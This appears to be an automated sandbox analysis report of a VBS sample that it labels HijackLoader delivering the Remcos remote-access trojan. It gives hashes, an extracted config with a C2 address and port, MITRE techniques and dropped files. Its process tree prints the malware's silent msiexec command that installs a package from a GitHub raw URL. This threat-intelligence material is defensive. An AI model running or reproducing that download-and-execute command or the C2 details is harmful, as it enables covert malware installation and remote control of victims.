hijackloader | 41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
31-01-2025 03:48

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General

Target

41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64.vbs
Size

512B
MD5

bcc1d6a3c9aeec994cd31f86ada37ae6
SHA1

0b7bb7af96d842cfbb7a89793a4292fec4289a8c
SHA256

41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64
SHA512

8793e62dc4a9465ef5254e15b3471573a242705dfdf74bd3d09d97c10dd84daf69aa8c0b5c9bc3c5a7302e431fc2ed417b1e6c194da106765e50ad385ea955b7

Score

10^/10

hijackloader remcos v2 discovery loader rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023c85-51.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
3120	EHttpSrv.exe

Loads dropped DLL 7 IoCs

pid	Process
4076	MsiExec.exe
4076	MsiExec.exe
4076	MsiExec.exe
4076	MsiExec.exe
3120	EHttpSrv.exe
3120	EHttpSrv.exe
3776	EHttpSrv.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4384	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	2904	msiexec.exe
20	2904	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3120 set thread context of 2588	3120	EHttpSrv.exe	91
PID 2588 set thread context of 3776	2588	cmd.exe	97

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIFF45.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEB1B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFC72.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFDDA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFEB7.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFE49.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2904	msiexec.exe
2904	msiexec.exe
3120	EHttpSrv.exe
2588	cmd.exe
2588	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3120	EHttpSrv.exe
2588	cmd.exe
2588	cmd.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4384	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4384	msiexec.exe
Token: SeSecurityPrivilege	2904	msiexec.exe
Token: SeCreateTokenPrivilege	4384	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4384	msiexec.exe
Token: SeLockMemoryPrivilege	4384	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4384	msiexec.exe
Token: SeMachineAccountPrivilege	4384	msiexec.exe
Token: SeTcbPrivilege	4384	msiexec.exe
Token: SeSecurityPrivilege	4384	msiexec.exe
Token: SeTakeOwnershipPrivilege	4384	msiexec.exe
Token: SeLoadDriverPrivilege	4384	msiexec.exe
Token: SeSystemProfilePrivilege	4384	msiexec.exe
Token: SeSystemtimePrivilege	4384	msiexec.exe
Token: SeProfSingleProcessPrivilege	4384	msiexec.exe
Token: SeIncBasePriorityPrivilege	4384	msiexec.exe
Token: SeCreatePagefilePrivilege	4384	msiexec.exe
Token: SeCreatePermanentPrivilege	4384	msiexec.exe
Token: SeBackupPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	4384	msiexec.exe
Token: SeShutdownPrivilege	4384	msiexec.exe
Token: SeDebugPrivilege	4384	msiexec.exe
Token: SeAuditPrivilege	4384	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4384	msiexec.exe
Token: SeChangeNotifyPrivilege	4384	msiexec.exe
Token: SeRemoteShutdownPrivilege	4384	msiexec.exe
Token: SeUndockPrivilege	4384	msiexec.exe
Token: SeSyncAgentPrivilege	4384	msiexec.exe
Token: SeEnableDelegationPrivilege	4384	msiexec.exe
Token: SeManageVolumePrivilege	4384	msiexec.exe
Token: SeImpersonatePrivilege	4384	msiexec.exe
Token: SeCreateGlobalPrivilege	4384	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe
Token: SeRestorePrivilege	2904	msiexec.exe
Token: SeTakeOwnershipPrivilege	2904	msiexec.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 4384	4612	WScript.exe	84
PID 4612 wrote to memory of 4384	4612	WScript.exe	84
PID 2904 wrote to memory of 4076	2904	msiexec.exe	89
PID 2904 wrote to memory of 4076	2904	msiexec.exe	89
PID 2904 wrote to memory of 4076	2904	msiexec.exe	89
PID 2904 wrote to memory of 3120	2904	msiexec.exe	90
PID 2904 wrote to memory of 3120	2904	msiexec.exe	90
PID 2904 wrote to memory of 3120	2904	msiexec.exe	90
PID 3120 wrote to memory of 2588	3120	EHttpSrv.exe	91
PID 3120 wrote to memory of 2588	3120	EHttpSrv.exe	91
PID 3120 wrote to memory of 2588	3120	EHttpSrv.exe	91
PID 3120 wrote to memory of 2588	3120	EHttpSrv.exe	91
PID 2588 wrote to memory of 3776	2588	cmd.exe	97
PID 2588 wrote to memory of 3776	2588	cmd.exe	97
PID 2588 wrote to memory of 3776	2588	cmd.exe	97
PID 2588 wrote to memory of 3776	2588	cmd.exe	97
PID 2588 wrote to memory of 3776	2588	cmd.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\41590f3a8ba3c910f11fd5fa095856d5bc556f20fa4fd6d269aa1be4e08b4c64.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4612
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi" /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious use of AdjustPrivilegeToken
  PID:4384

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F03285AA75E3F0B8EE8507D961C853AB
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4076
- C:\Users\Admin\AppData\Local\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\EHttpSrv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Users\Admin\AppData\Local\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57ff03.rbs

Filesize
2KB

MD5
57c005c17a29e5a2288b77e48e519b5e

SHA1
ee0e0539679deec71959e0bed493008da4811987

SHA256
2e2ed2c695804a2845a850e78ba88e9a121ab4d905c8fe7e8ec34e00c299d050

SHA512
68aff6768449408837d77029c438acd79cf9fec12647d05658e77fde5a412b40594300bcdb0d2e583f93dd5908b7bb299bb74d0cdd1f85f02bc59339a97c4097

Download Submit
C:\Users\Admin\AppData\Local\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Local\Temp\bb74849f

Filesize
1.0MB

MD5
ee51183d14415742fd29dae8c5006aa7

SHA1
273ea820eed9747974ddc58547c3c80b22d7c0c1

SHA256
fdc2c26f8cdc89b136f3c6faec3123df082625f9f3028f0e02ac6ee9277098cf

SHA512
7ef950ffd7ae16a424c0bde1a061c2f4db200842af446c24c0160a37bfbd12a04cf7af47a01e50f1f6f1618f600a17fe4c564e55a5348797ecb7d320e1cb7aae

Download Submit
C:\Users\Admin\AppData\Local\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\http_dll.dll

Filesize
883KB

MD5
4366cd6c5d795811822b9ccc3df3eab4

SHA1
30f6050729b4c08b7657454cb79dd5a3d463c606

SHA256
55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da

SHA512
4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349

Download Submit
C:\Windows\Installer\MSIEB1B.tmp

Filesize
3.0MB

MD5
5d8dc4f7c58f4681dee4ee9f6ecc3498

SHA1
3eb23e362ecba770d842e99dd6bf386f1b6c0b47

SHA256
4fda049f94e2b9127b71cb11588cac6b379d4dddab47f6e2f028fdaaf79ad8d3

SHA512
765fa345c0fb369795e54e0506b6a8caebbffce1c7cbdf061520d9ece9a15b840fec967de692314e42b30ef29df1612dc12e70f19b1b87d6cbabc473b4f9558e

Download Submit
C:\Windows\Installer\MSIFC72.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
memory/2588-56-0x00007FFC32470000-0x00007FFC32665000-memory.dmp

Filesize
2.0MB

Download
memory/2588-58-0x0000000075AD0000-0x0000000075C4B000-memory.dmp

Filesize
1.5MB

Download
memory/3120-52-0x0000000075AD0000-0x0000000075C4B000-memory.dmp

Filesize
1.5MB

Download
memory/3120-53-0x0000000075AD0000-0x0000000075C4B000-memory.dmp

Filesize
1.5MB

Download
memory/3776-60-0x0000000073FA0000-0x00000000751F4000-memory.dmp

Filesize
18.3MB

Download
memory/3776-62-0x00007FFC32470000-0x00007FFC32665000-memory.dmp

Filesize
2.0MB

Download
memory/3776-63-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-67-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-68-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-69-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-70-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-71-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-72-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-73-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-74-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/3776-75-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download